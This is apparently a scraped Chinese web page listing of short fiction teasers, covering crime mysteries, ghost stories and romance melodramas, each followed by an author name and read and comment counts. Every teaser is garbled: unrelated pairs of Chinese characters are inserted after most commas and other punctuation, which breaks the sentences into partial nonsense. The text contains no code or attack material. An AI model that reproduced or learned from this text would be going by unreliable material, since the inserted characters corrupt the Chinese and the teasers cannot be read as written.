  • 序言:七十年代末,一起剝皮案震驚了整個濱河市锁施,隨后出現(xiàn)的幾起案子陪踩,更是在濱河造成了極大的恐慌,老刑警劉巖悉抵,帶你破解...
    沈念sama閱讀 219,110評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件肩狂,死亡現(xiàn)場離奇詭異,居然都是意外死亡姥饰,警方通過查閱死者的電腦和手機傻谁,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,443評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來列粪,“玉大人审磁,你說我怎么就攤上這事谈飒。” “怎么了态蒂?”我有些...
    開封第一講書人閱讀 165,474評論 0 356
  • 文/不壞的土叔 我叫張陵杭措,是天一觀的道長。 經(jīng)常有香客問我钾恢,道長手素,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,881評論 1 295
  • 正文 為了忘掉前任瘩蚪,我火速辦了婚禮泉懦,結果婚禮上,老公的妹妹穿的比我還像新娘疹瘦。我一直安慰自己崩哩,他們只是感情好,可當我...
    茶點故事閱讀 67,902評論 6 392
  • 文/花漫 我一把揭開白布言沐。 她就那樣靜靜地躺著琢锋,像睡著了一般。 火紅的嫁衣襯著肌膚如雪呢灶。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,698評論 1 305
  • 那天钉嘹,我揣著相機與錄音鸯乃,去河邊找鬼。 笑死跋涣,一個胖子當著我的面吹牛缨睡,可吹牛的內容都是我干的。 我是一名探鬼主播陈辱,決...
    沈念sama閱讀 40,418評論 3 419
  • 文/蒼蘭香墨 我猛地睜開眼奖年,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了沛贪?” 一聲冷哼從身側響起陋守,我...
    開封第一講書人閱讀 39,332評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎利赋,沒想到半個月后水评,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,796評論 1 316
  • 正文 獨居荒郊野嶺守林人離奇死亡媚送,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,968評論 3 337
  • 正文 我和宋清朗相戀三年中燥,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片塘偎。...
    茶點故事閱讀 40,110評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡疗涉,死狀恐怖拿霉,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情咱扣,我是刑警寧澤绽淘,帶...
    沈念sama閱讀 35,792評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站偏窝,受9級特大地震影響收恢,放射性物質發(fā)生泄漏。R本人自食惡果不足惜祭往,卻給世界環(huán)境...
    茶點故事閱讀 41,455評論 3 331
  • 文/蒙蒙 一伦意、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧硼补,春花似錦驮肉、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,003評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至褪储,卻和暖如春卵渴,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背鲤竹。 一陣腳步聲響...
    開封第一講書人閱讀 33,130評論 1 272
  • 我被黑心中介騙來泰國打工浪读, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人辛藻。 一個月前我還...
    沈念sama閱讀 48,348評論 3 373
  • 正文 我出身青樓碘橘,卻偏偏與公主長得像,于是被迫代替她去往敵國和親吱肌。 傳聞我的和親對象是個殘疾皇子痘拆,可洞房花燭夜當晚...
    茶點故事閱讀 45,047評論 2 355

推薦閱讀更多精彩內容